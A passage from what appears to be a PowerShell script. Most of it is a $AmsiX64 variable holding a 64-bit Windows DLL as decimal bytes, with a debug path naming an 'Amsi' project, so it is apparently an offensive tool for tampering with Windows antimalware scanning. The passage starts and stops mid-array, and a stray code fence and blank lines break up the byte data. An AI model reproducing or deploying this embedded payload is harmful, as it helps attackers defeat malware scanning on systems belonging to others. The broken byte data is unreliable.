51 162 51 168 51 174 51 181 51 188 51 195 51 202 51 209 51 216 51 223 51 231 51 239
51 247 51 3 52 12 52 17 52 23 52 33 52 43 52 59 52 75 52 91 52 100 52 201 52 121 53
170 53 249 53 12 54 31 54 43 54 59 54 76 54 114 54 135 54 142 54 148 54 166 54 176 54
17 55 30 55 69 55 77 55 102 55 160 55 187 55 199 55 214 55 223 55 236 55 27 56 35 56
46 56 52 56 58 56 70 56 76 56 111 56 160 56 75 57 106 57 116 57 133 57 146 57 151 57
189 57 194 57 231 57 241 57 14 58 91 58 96 58 115 58 129 58 156 58 167 58 54 59 63 59
71 59 142 59 157 59 164 59 218 59 227 59 240 59 251 59 4 60 19 60 30 60 36 60 42 60
48 60 54 60 60 60 66 60 72 60 78 60 84 60 90 60 96 60 102 60 108 60 114 60 0 0 0 32 0
0 32 0 0 0 112 48 164 48 168 48 92 49 96 49 104 49 48 52 80 52 108 52 112 52 140 52
144 52 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0"
    $AmsiX64 = "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 14 31 186 14 0
180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97
110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46
13 13 10 36 0 0 0 0 0 0 0 148 172 98 253 208 205 12 174 208 205 12 174 208 205 12 174
217 181 159 174 210 205 12 174 190 150 13 175 211 205 12 174 190 150 15 175 210 205
12 174 190 150 9 175 216 205 12 174 190 150 8 175 217 205 12 174 13 50 199 174 210
205 12 174 208 205 13 174 240 205 12 174 2 150 4 175 209 205 12 174 2 150 243 174 209
205 12 174 2 150 14 175 209 205 12 174 82 105 99 104 208 205 12 174 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 69 0 0 100 134 7 0 136 29 62 87 0 0 0 0 0 0 0 0 240
0 34 32 11 2 14 0 0 16 0 0 0 28 0 0 0 0 0 0 160 19 0 0 0 16 0 0 0 0 0 128 1 0 0 0 0
16 0 0 0 2 0 0 6 0 0 0 0 0 0 0 6 0 0 0 0 0 0 0 0 128 0 0 0 4 0 0 0 0 0 0 2 0 96 1 0 0
16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 16 0 0 0 0 0
0 0 0 0 0 0 108 38 0 0 80 0 0 0 0 96 0 0 224 1 0 0 0 64 0 0 176 1 0 0 0 0 0 0 0 0 0 0
0 112 0 0 24 0 0 0 112 33 0 0 112 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 224 33 0 0 148 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 248 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 211 14 0 0 0 16 0 0 0 16 0 0 0 4 0 0 0 0
0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 100 97 116 97 0 0 128 10 0 0 0 32 0 0 0 12 0 0 0
20 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 100 97 116 97 0 0 0 64 6 0 0 0 48 0 0 0 2
0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 192 46 112 100 97 116 97 0 0 176 1 0 0 0
64 0 0 0 2 0 0 0 34 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 103 102 105 100 115 0 0
16 0 0 0 0 80 0 0 0 2 0 0 0 36 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 115 114
99 0 0 0 224 1 0 0 0 96 0 0 0 2 0 0 0 38 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114
101 108 111 99 0 0 24 0 0 0 0 112 0 0 0 2 0 0 0 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0
66 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 51 192 195 204 204 204 204 204 204 204 204 204 204 204 204 204
204 204 204 204 204 204 102 102 15 31 132 0 0 0 0 0 72 59 13 217 31 0 0 242 117 18 72
```

193 193 16 102 247 193 255 255 242 117 2 242 195 72 193 201 16 233 211 3 0 0 204 204
204 72 131 236 40 133 210 116 57 131 234 1 116 40 131 234 1 116 22 131 250 1 116 10
184 1 0 0 0 72 131 196 40 195 232 142 5 0 0 235 5 232 95 5 0 0 15 182 192 72 131 196
40 195 73 139 208 72 131 196 40 233 15 0 0 0 77 133 192 15 149 193 72 131 196 40 233
44 1 0 0 72 137 92 36 8 72 137 116 36 16 72 137 124 36 32 65 86 72 131 236 32 72 139
242 76 139 241 51 201 232 2 6 0 0 132 192 117 7 51 192 233 232 0 0 0 232 150 4 0 0
138 216 136 68 36 64 64 183 1 131 61 234 36 0 0 0 116 10 185 7 0 0 0 232 62 9 0 0 199
5 212 36 0 0 1 0 0 0 232 199 4 0 0 132 192 116 103 232 110 10 0 0 72 141 13 179 10 0
0 232 6 8 0 0 232 197 8 0 0 72 141 13 206 8 0 0 232 245 7 0 0 232 224 8 0 0 72 141 21
253 15 0 0 72 141 13 238 15 0 0 232 213 12 0 0 133 192 117 41 232 96 4 0 0 132 192
116 32 72 141 21 205 15 0 0 72 141 13 190 15 0 0 232 175 12 0 0 199 5 103 36 0 0 2 0
0 0 64 50 255 138 203 232 9 7 0 0 64 132 255 15 133 78 255 255 255 232 167 8 0 0 72
139 216 72 131 56 0 116 36 72 139 200 232 78 6 0 0 132 192 116 24 72 139 27 72 139
203 232 111 10 0 0 76 139 198 186 2 0 0 0 73 139 206 255 211 255 5 156 30 0 0 184 1 0
0 0 72 139 92 36 48 72 139 116 36 56 72 139 124 36 72 72 131 196 32 65 94 195 204 72
137 92 36 8 72 137 116 36 24 87 72 131 236 32 64 138 241 139 5 104 30 0 0 51 219 133
192 127 4 51 192 235 80 255 200 137 5 86 30 0 0 232 109 3 0 0 64 138 248 136 68 36 56
131 61 195 35 0 0 2 116 10 185 7 0 0 0 232 23 8 0 0 232 102 4 0 0 137 29 172 35 0 0
232 139 4 0 0 64 138 207 232 75 6 0 0 51 210 64 138 206 232 101 6 0 0 132 192 15 149
195 139 195 72 139 92 36 48 72 139 116 36 64 72 131 196 32 95 195 204 204 72 139 196
72 137 88 32 76 137 64 24 137 80 16 72 137 72 8 86 87 65 86 72 131 236 64 77 139 240
139 250 72 139 241 141 66 255 131 248 1 119 46 232 217 0 0 0 139 216 137 68 36 48 133
192 15 132 179 0 0 0 77 139 198 139 215 72 139 206 232 182 253 255 255 139 216 137 68
36 48 133 192 15 132 152 0 0 0 131 255 1 117 8 72 139 206 232 55 11 0 0 77 139 198
139 215 72 139 206 232 74 253 255 255 139 216 137 68 36 48 131 255 1 117 52 133 192
117 39 77 139 198 51 210 72 139 206 232 46 253 255 255 77 139 198 51 210 72 139 206
232 101 253 255 255 77 139 198 51 210 72 139 206 232 96 0 0 0 131 255 1 117 4 133 219
116 4 133 255 117 12 72 139 206 232 229 10 0 0 133 255 116 5 131 255 3 117 42 77 139
198 139 215 72 139 206 232 45 253 255 255 139 216 137 68 36 48 133 192 116 19 77 139
198 139 215 72 139 206 232 30 0 0 0 139 216 137 68 36 48 235 6 51 219 137 92 36 48
139 195 72 139 92 36 120 72 131 196 64 65 94 95 94 195 72 137 92 36 8 72 137 108 36
16 72 137 116 36 24 87 72 131 236 32 72 139 29 233 13 0 0 73 139 248 139 242 72 139
233 72 133 219 117 5 141 67 1 235 18 72 139 203 232 127 8 0 0 76 139 199 139 214 72
139 205 255 211 72 139 92 36 48 72 139 108 36 56 72 139 116 36 64 72 131 196 32 95
195 72 137 92 36 8 72 137 116 36 16 87 72 131 236 32 73 139 248 139 218 72 139 241
131 250 1 117 5 232 99 5 0 0 76 139 199 139 211 72 139 206 72 139 92 36 48 72 139 116
36 56 72 131 196 32 95 233 103 254 255 255 204 204 204 64 83 72 131 236 32 72 139 217
51 201 255 21 119 12 0 0 72 139 203 255 21 6 12 0 0 255 21 32 12 0 0 72 139 200 186 9
4 0 192 72 131 196 32 91 72 255 37 76 12 0 0 72 137 76 36 8 72 131 236 56 185 23 0 0
0 232 13 10 0 0 133 192 116 7 185 2 0 0 0 205 41 72 141 13 183 28 0 0 232 170 0 0 0
72 139 68 36 56 72 137 5 158 29 0 0 72 141 68 36 56 72 131 192 8 72 137 5 46 29 0 0
72 139 5 135 29 0 0 72 137 5 248 27 0 0 72 139 68 36 64 72 137 5 252 28 0 0 199 5 210
27 0 0 9 4 0 192 199 5 204 27 0 0 1 0 0 0 199 5 214 27 0 0 1 0 0 0 184 8 0 0 0 72 107
192 0 72 141 13 206 27 0 0 72 199 4 1 2 0 0 0 184 8 0 0 0 72 107 192 0 72 139 13 70
27 0 0 72 137 76 4 32 184 8 0 0 0 72 107 192 1 72 139 13 57 27 0 0 72 137 76 4 32 72
141 13 125 12 0 0 232 0 255 255 255 72 131 196 56 195 204 204 204 64 83 86 87 72 131
236 64 72 139 217 255 21 31 11 0 0 72 139 179 248 0 0 0 51 255 69 51 192 72 141 84 36
96 72 139 206 255 21 253 10 0 0 72 133 192 116 57 72 131 100 36 56 0 72 141 76 36 104
72 139 84 36 96 76 139 200 72 137 76 36 48 76 139 198 72 141 76 36 112 72 137 76 36
40 51 201 72 137 92 36 32 255 21 190 10 0 0 255 199 131 255 2 124 177 72 131 196 64
95 94 91 195 204 204 204 72 131 236 40 232 103 8 0 0 133 192 116 33 101 72 139 4 37
48 0 0 0 72 139 72 8 235 5 72 59 200 116 20 51 192 240 72 15 177 13 64 32 0 0 117 238
50 192 72 131 196 40 195 176 1 235 247 204 204 204 72 131 236 40 232 43 8 0 0 133 192
116 7 232 94 6 0 0 235 5 232 95 8 0 0 176 1 72 131 196 40 195 72 131 236 40 51 201
232 65 1 0 0 132 192 15 149 192 72 131 196 40 195 204 204 204 72 131 236 40 232 99 8
0 0 132 192 117 4 50 192 235 18 232 86 8 0 0 132 192 117 7 232 77 8 0 0 235 236 176 1
72 131 196 40 195 72 131 236 40 232 59 8 0 0 232 54 8 0 0 176 1 72 131 196 40 195 204
204 204 72 137 92 36 8 72 137 108 36 16 72 137 116 36 24 87 72 131 236 32 73 139 249
73 139 240 139 218 72 139 233 232 152 7 0 0 133 192 117 23 131 251 1 117 18 72 139

207 232 187 5 0 0 76 139 198 51 210 72 139 205 255 215 72 139 84 36 88 139 76 36 80
72 139 92 36 48 72 139 108 36 56 72 139 116 36 64 72 131 196 32 95 233 153 7 0 0 204
204 204 72 131 236 40 232 79 7 0 0 133 192 116 16 72 141 13 72 31 0 0 72 131 196 40
233 145 7 0 0 232 106 249 255 255 133 192 117 5 232 143 7 0 0 72 131 196 40 195 72
131 236 40 51 201 232 141 7 0 0 72 131 196 40 233 132 7 0 0 64 83 72 131 236 32 15
182 5 59 31 0 0 133 201 187 1 0 0 0 15 68 195 136 5 43 31 0 0 232 46 5 0 0 232 93 7 0
0 132 192 117 4 50 192 235 20 232 80 7 0 0 132 192 117 9 51 201 232 69 7 0 0 235 234
138 195 72 131 196 32 91 195 204 204 204 72 137 92 36 8 85 72 139 236 72 131 236 64
139 217 131 249 1 15 135 166 0 0 0 232 171 6 0 0 133 192 116 43 133 219 117 39 72 141
13 160 30 0 0 232 225 6 0 0 133 192 116 4 50 192 235 122 72 141 13 164 30 0 0 232 205
6 0 0 133 192 15 148 192 235 103 72 139 21 169 24 0 0 73 131 200 255 139 194 185 64 0
0 0 131 224 63 43 200 176 1 73 211 200 76 51 194 76 137 69 224 76 137 69 232 15 16 69
224 76 137 69 240 242 15 16 77 240 15 17 5 69 30 0 0 76 137 69 224 76 137 69 232 15
16 69 224 76 137 69 240 242 15 17 13 61 30 0 0 242 15 16 77 240 15 17 5 57 30 0 0 242
15 17 13 65 30 0 0 72 139 92 36 80 72 131 196 64 93 195 185 5 0 0 0 232 84 2 0 0 204
204 204 204 72 131 236 24 76 139 193 184 77 90 0 0 102 57 5 29 232 255 255 117 124 72
99 5 80 232 255 255 72 141 21 13 232 255 255 72 141 12 16 129 57 80 69 0 0 117 98 184
11 2 0 0 102 57 65 24 117 87 76 43 194 15 183 65 20 72 141 81 24 72 3 208 15 183 65 6
72 141 12 128 76 141 12 202 72 137 20 36 73 59 209 116 24 139 74 12 76 59 193 114 10
139 66 8 3 193 76 59 192 114 8 72 131 194 40 235 223 51 210 72 133 210 117 4 50 192
235 23 247 66 36 0 0 0 128 116 4 50 192 235 10 176 1 235 6 50 192 235 2 50 192 72 131
196 24 195 64 83 72 131 236 32 138 217 232 83 5 0 0 51 210 133 192 116 11 132 219 117
7 72 135 21 62 29 0 0 72 131 196 32 91 195 64 83 72 131 236 32 128 61 99 29 0 0 0 138
217 116 4 132 210 117 14 138 203 232 144 5 0 0 138 203 232 137 5 0 0 176 1 72 131 196
32 91 195 204 64 83 72 131 236 32 72 139 21 55 23 0 0 72 139 217 139 202 72 51 21 251
28 0 0 131 225 63 72 211 202 72 131 250 255 117 10 72 139 203 232 63 5 0 0 235 15 72
139 211 72 141 13 219 28 0 0 232 34 5 0 0 51 201 133 192 72 15 68 203 72 139 193 72
131 196 32 91 195 204 72 131 236 40 232 167 255 255 255 72 247 216 27 192 247 216 255
200 72 131 196 40 195 204 72 137 92 36 32 85 72 139 236 72 131 236 32 72 131 101 24 0
72 187 50 162 223 45 153 43 0 0 72 139 5 185 22 0 0 72 59 195 117 111 72 141 77 24
255 21 226 6 0 0 72 139 69 24 72 137 69 16 255 21 220 6 0 0 139 192 72 49 69 16 255
21 216 6 0 0 139 192 72 141 77 32 72 49 69 16 255 21 208 6 0 0 139 69 32 72 141 77 16
72 193 224 32 72 51 69 32 72 51 69 16 72 51 193 72 185 255 255 255 255 255 255 0 0 72
35 193 72 185 51 162 223 45 153 43 0 0 72 59 195 72 15 68 193 72 137 5 69 22 0 0 72
139 92 36 72 72 247 208 72 137 5 62 22 0 0 72 131 196 32 93 195 72 141 13 57 28 0 0
72 255 37 82 6 0 0 204 204 72 141 13 41 28 0 0 233 6 4 0 0 72 141 5 45 28 0 0 195 72
141 5 45 28 0 0 195 72 131 236 40 232 231 255 255 255 72 131 8 4 232 230 255 255 255
72 131 8 2 72 131 196 40 195 204 72 141 5 25 28 0 0 195 72 137 92 36 8 85 72 141 172
36 64 251 255 255 72 129 236 192 5 0 0 139 217 185 23 0 0 0 232 243 3 0 0 133 192 116
4 139 203 205 41 131 37 224 27 0 0 0 72 141 77 240 51 210 65 184 208 4 0 0 232 151 3
0 0 72 141 77 240 255 21 173 5 0 0 72 139 157 232 0 0 0 72 141 149 216 4 0 0 72 139
203 69 51 192 255 21 139 5 0 0 72 133 192 116 60 72 131 100 36 56 0 72 141 141 224 4
0 0 72 139 149 216 4 0 0 76 139 200 72 137 76 36 48 76 139 195 72 141 141 232 4 0 0
72 137 76 36 40 72 141 77 240 72 137 76 36 32 51 201 255 21 66 5 0 0 72 139 133 200 4
0 0 72 141 76 36 80 72 137 133 232 0 0 0 51 210 72 141 133 200 4 0 0 65 184 152 0 0 0
72 131 192 8 72 137 133 136 0 0 0 232 0 3 0 0 72 139 133 200 4 0 0 72 137 68 36 96
199 68 36 80 21 0 0 64 199 68 36 84 1 0 0 0 255 21 14 5 0 0 131 248 1 72 141 68 36 80
72 137 68 36 64 72 141 69 240 15 148 195 72 137 68 36 72 51 201 255 21 45 5 0 0 72
141 76 36 64 255 21 186 4 0 0 133 192 117 10 246 219 27 192 33 5 220 26 0 0 72 139
156 36 208 5 0 0 72 129 196 192 5 0 0 93 195 204 204 204 72 137 92 36 8 72 137 116 36
16 87 72 131 236 32 72 141 29 154 9 0 0 72 141 53 147 9 0 0 235 22 72 139 59 72 133
255 116 10 72 139 207 232 105 0 0 0 255 215 72 131 195 8 72 59 222 114 229 72 139 92
36 48 72 139 116 36 56 72 131 196 32 95 195 204 204 72 137 92 36 8 72 137 116 36 16
87 72 131 236 32 72 141 29 94 9 0 0 72 141 53 87 9 0 0 235 22 72 139 59 72 133 255
116 10 72 139 207 232 29 0 0 0 255 215 72 131 195 8 72 59 222 114 229 72 139 92 36 48
72 139 116 36 56 72 131 196 32 95 195 204 204 72 255 37 241 4 0 0 204 72 137 92 36 16
85 72 139 236 72 131 236 32 131 101 232 0 51 201 51 192 199 5 245 19 0 0 2 0 0 0 15
162 68 139 193 199 5 226 19 0 0 1 0 0 0 65 129 240 110 116 101 108 68 139 202 65 129
241 105 110 101 73 68 139 210 69 11 200 139 211 129 242 71 101 110 117 68 139 216 68

11 202 184 1 0 0 0 65 15 148 192 129 241 99 65 77 68 129 243 65 117 116 104 65 129
242 101 110 116 105 65 11 218 11 217 65 15 148 194 51 201 15 162 68 139 201 137 69
240 69 132 192 68 137 77 248 68 139 5 156 25 0 0 139 200 137 93 244 137 85 252 116 82
72 131 13 118 19 0 0 255 65 131 200 4 37 240 63 255 15 68 137 5 122 25 0 0 61 192 6 1
0 116 40 61 96 6 2 0 116 33 61 112 6 2 0 116 26 5 176 249 252 255 131 248 32 119 27
72 187 1 0 1 0 1 0 0 0 72 15 163 195 115 11 65 131 200 1 68 137 5 64 25 0 0 69 132
210 116 25 129 225 0 15 240 15 129 249 0 15 96 0 124 11 65 131 200 4 68 137 5 34 25 0
0 184 7 0 0 0 137 85 224 68 137 77 228 68 59 216 124 36 51 201 15 162 137 69 240 137
93 244 137 77 248 137 85 252 137 93 232 15 186 227 9 115 11 65 131 200 2 68 137 5 237
24 0 0 65 15 186 225 20 115 110 199 5 192 18 0 0 2 0 0 0 199 5 186 18 0 0 6 0 0 0 65
15 186 225 27 115 83 65 15 186 225 28 115 76 51 201 15 1 208 72 193 226 32 72 11 208
72 137 85 16 72 139 69 16 36 6 60 6 117 50 139 5 140 18 0 0 131 200 8 199 5 123 18 0
0 3 0 0 0 246 69 232 32 137 5 117 18 0 0 116 19 131 200 32 199 5 98 18 0 0 5 0 0 0
137 5 96 18 0 0 51 192 72 139 92 36 56 72 131 196 32 93 195 204 204 204 51 192 57 5
92 18 0 0 15 149 192 195 194 0 0 204 204 204 204 204 255 37 178 2 0 0 255 37 164 2 0
0 255 37 150 2 0 0 255 37 136 2 0 0 255 37 122 2 0 0 255 37 228 2 0 0 255 37 214 2 0
0 255 37 200 2 0 0 255 37 186 2 0 0 255 37 172 2 0 0 255 37 158 2 0 0 255 37 144 2 0
0 255 37 130 2 0 0 255 37 116 2 0 0 255 37 30 2 0 0 204 204 176 1 195 204 204 204 204
204 204 204 102 102 15 31 132 0 0 0 0 0 255 224 64 85 72 131 236 32 72 139 234 138 77
64 72 131 196 32 93 233 4 250 255 255 204 64 85 72 131 236 32 72 139 234 232 45 248
255 255 138 77 56 72 131 196 32 93 233 232 249 255 255 204 64 85 72 131 236 48 72 139
234 72 139 1 139 16 72 137 76 36 40 137 84 36 32 76 141 13 161 241 255 255 76 139 69
112 139 85 104 72 139 77 96 232 93 247 255 255 144 72 131 196 48 93 195 204 64 85 72
139 234 72 139 1 51 201 129 56 5 0 0 192 15 148 193 139 193 93 195 204 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 106 41 0 0 0
0 0 0 86 41 0 0 0 0 0 0 60 41 0 0 0 0 0 0 40 41 0 0 0 0 0 0 164 41 0 0 0 0 0 0 94 42
0 0 0 0 0 0 72 42 0 0 0 0 0 0 46 42 0 0 0 0 0 0 24 42 0 0 0 0 0 0 2 42 0 0 0 0 0 0
232 41 0 0 0 0 0 0 204 41 0 0 0 0 0 0 184 41 0 0 0 0 0 0 134 41 0 0 0 0 0 0 0 0 0 0 0
0 0 0 52 40 0 0 0 0 0 0 20 40 0 0 0 0 0 0 252 39 0 0 0 0 0 0 218 39 0 0 0 0 0 0 184
39 0 0 0 0 0 0 0 0 0 0 0 0 0 0 252 40 0 0 0 0 0 0 238 40 0 0 0 0 0 0 214 40 0 0 0 0 0
0 186 40 0 0 0 0 0 0 158 40 0 0 0 0 0 0 124 40 0 0 0 0 0 0 106 40 0 0 0 0 0 0 92 40 0
0 0 0 0 0 80 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 216 29 0 128 1 0 0 0 80 30 0 128 1 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 48 0 128
1 0 0 0 240 48 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 136 29 62 87 0 0 0 0 2 0 0 0 65
0 0 0 116 34 0 0 116 22 0 0 0 0 0 0 136 29 62 87 0 0 0 0 12 0 0 0 20 0 0 0 184 34 0 0
184 22 0 0 0 0 0 0 136 29 62 87 0 0 0 0 13 0 0 0 68 2 0 0 204 34 0 0 204 22 0 0 0 0 0
0 136 29 62 87 0 0 0 0 14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 148 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 48 0 128 1 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 32 0 128 1 0 0 0 0 33 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 1 0 0 82 83 68 83 42 80 223 113 29 247 64 69 188 37 18 40 145 144 25
190 50 0 0 0 67 58 92 68 101 118 101 108 111 112 109 101 110 116 92 65 109 115 105 92
120 54 52 92 82 101 108 101 97 115 101 92 65 109 115 105 46 112 100 98 0 0 0 0 0 0 0
0 18 0 0 0 18 0 0 0 1 0 0 0 17 0 0 0 71 67 84 76 0 16 0 0 63 14 0 0 46 116 101 120
116 36 109 110 0 0 0 0 64 30 0 0 18 0 0 0 46 116 101 120 116 36 109 110 36 48 48 0 82
30 0 0 129 0 0 0 46 116 101 120 116 36 120 0 0 32 0 0 248 0 0 0 46 105 100 97 116 97
36 53 0 0 0 0 248 32 0 0 16 0 0 0 46 48 48 99 102 103 0 0 8 33 0 0 8 0 0 0 46 67 82
84 36 88 67 65 0 0 0 0 16 33 0 0 8 0 0 0 46 67 82 84 36 88 67 90 0 0 0 0 24 33 0 0 8
0 0 0 46 67 82 84 36 88 73 65 0 0 0 0 32 33 0 0 8 0 0 0 46 67 82 84 36 88 73 90 0 0 0
0 40 33 0 0 8 0 0 0 46 67 82 84 36 88 80 65 0 0 0 0 48 33 0 0 8 0 0 0 46 67 82 84 36
88 80 90 0 0 0 0 56 33 0 0 8 0 0 0 46 67 82 84 36 88 84 65 0 0 0 0 64 33 0 0 8 0 0 0
46 67 82 84 36 88 84 90 0 0 0 0 80 33 0 0 36 1 0 0 46 114 100 97 116 97 0 0 116 34 0

0 156 2 0 0 46 114 100 97 116 97 36 122 122 122 100 98 103 0 0 0 16 37 0 0 8 0 0 0 46
114 116 99 36 73 65 65 0 0 0 0 24 37 0 0 8 0 0 0 46 114 116 99 36 73 90 90 0 0 0 0 32
37 0 0 8 0 0 0 46 114 116 99 36 84 65 65 0 0 0 0 40 37 0 0 8 0 0 0 46 114 116 99 36
84 90 90 0 0 0 0 48 37 0 0 60 1 0 0 46 120 100 97 116 97 0 0 108 38 0 0 60 0 0 0 46
105 100 97 116 97 36 50 0 0 0 0 168 38 0 0 20 0 0 0 46 105 100 97 116 97 36 51 0 0 0
0 192 38 0 0 248 0 0 0 46 105 100 97 116 97 36 52 0 0 0 0 184 39 0 0 200 2 0 0 46 105
100 97 116 97 36 54 0 0 0 0 0 48 0 0 52 0 0 0 46 100 97 116 97 0 0 0 64 48 0 0 0 6 0
0 46 98 115 115 0 0 0 0 0 64 0 0 176 1 0 0 46 112 100 97 116 97 0 0 0 80 0 0 16 0 0 0
46 103 102 105 100 115 36 121 0 0 0 0 0 96 0 0 88 0 0 0 46 114 115 114 99 36 48 49 0
0 0 0 96 96 0 0 128 1 0 0 46 114 115 114 99 36 48 50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 17 21 8 0 21 116 9 0 21 100 7 0 21 52
6 0 21 50 17 224 236 29 0 0 1 0 0 0 207 16 0 0 92 17 0 0 82 30 0 0 0 0 0 0 17 15 6 0
15 100 8 0 15 52 6 0 15 50 11 112 236 29 0 0 1 0 0 0 246 17 0 0 20 18 0 0 105 30 0 0
0 0 0 0 1 6 2 0 6 50 2 80 1 20 8 0 20 100 8 0 20 84 7 0 20 52 6 0 20 50 16 112 9 26 6
0 26 52 15 0 26 114 22 224 20 112 19 96 236 29 0 0 1 0 0 0 102 18 0 0 54 19 0 0 133
30 0 0 54 19 0 0 1 6 2 0 6 82 2 80 1 9 1 0 9 98 0 0 1 8 4 0 8 114 4 112 3 96 2 48 9 4
1 0 4 34 0 0 236 29 0 0 1 0 0 0 215 23 0 0 101 24 0 0 187 30 0 0 101 24 0 0 1 2 1 0 2
80 0 0 1 4 1 0 4 66 0 0 1 6 2 0 6 50 2 48 1 13 4 0 13 52 10 0 13 114 6 80 1 13 4 0 13
52 9 0 13 50 6 80 1 21 5 0 21 52 186 0 21 1 184 0 6 80 0 0 1 15 6 0 15 100 7 0 15 52
6 0 15 50 11 112 1 13 4 0 13 52 7 0 13 50 6 80 0 0 0 0 1 0 0 0 56 39 0 0 0 0 0 0 0 0
0 0 62 40 0 0 120 32 0 0 104 39 0 0 0 0 0 0 0 0 0 0 6 41 0 0 168 32 0 0 192 38 0 0 0
0 0 0 0 0 0 0 114 42 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 106
41 0 0 0 0 0 0 86 41 0 0 0 0 0 0 60 41 0 0 0 0 0 0 40 41 0 0 0 0 0 0 164 41 0 0 0 0 0
0 94 42 0 0 0 0 0 0 72 42 0 0 0 0 0 0 46 42 0 0 0 0 0 0 24 42 0 0 0 0 0 0 2 42 0 0 0
0 0 0 232 41 0 0 0 0 0 0 204 41 0 0 0 0 0 0 184 41 0 0 0 0 0 0 134 41 0 0 0 0 0 0 0 0
0 0 0 0 0 0 52 40 0 0 0 0 0 0 0 20 40 0 0 0 0 0 0 252 39 0 0 0 0 0 0 218 39 0 0 0 0 0 0
184 39 0 0 0 0 0 0 0 0 0 0 0 0 0 0 252 40 0 0 0 0 0 0 238 40 0 0 0 0 0 0 214 40 0 0 0
